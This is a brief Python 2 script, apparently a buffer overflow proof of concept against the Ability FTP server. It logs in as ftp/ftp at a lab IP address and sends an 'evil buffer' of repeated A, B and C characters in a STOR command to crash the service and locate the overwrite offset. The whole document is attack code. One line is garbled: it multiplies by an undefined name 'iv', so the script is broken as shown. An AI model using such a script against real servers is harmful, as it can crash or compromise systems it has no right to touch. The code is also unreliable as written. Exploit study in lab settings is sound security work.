Ability Ftp

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = '\x41' * 966 + '\x42' * iv + '\x43' * 1030
print "\nSending evil buffer..."
s.connect(('192.168.103.128',21))
data = s.recv(1024)
s.send('USER ftp' +'\r\n')
data = s.recv(1024)
s.send('PASS ftp' +'\r\n')
data = s.recv(1024)
s.send('STOR ' +buffer+'\r\n')
s.close()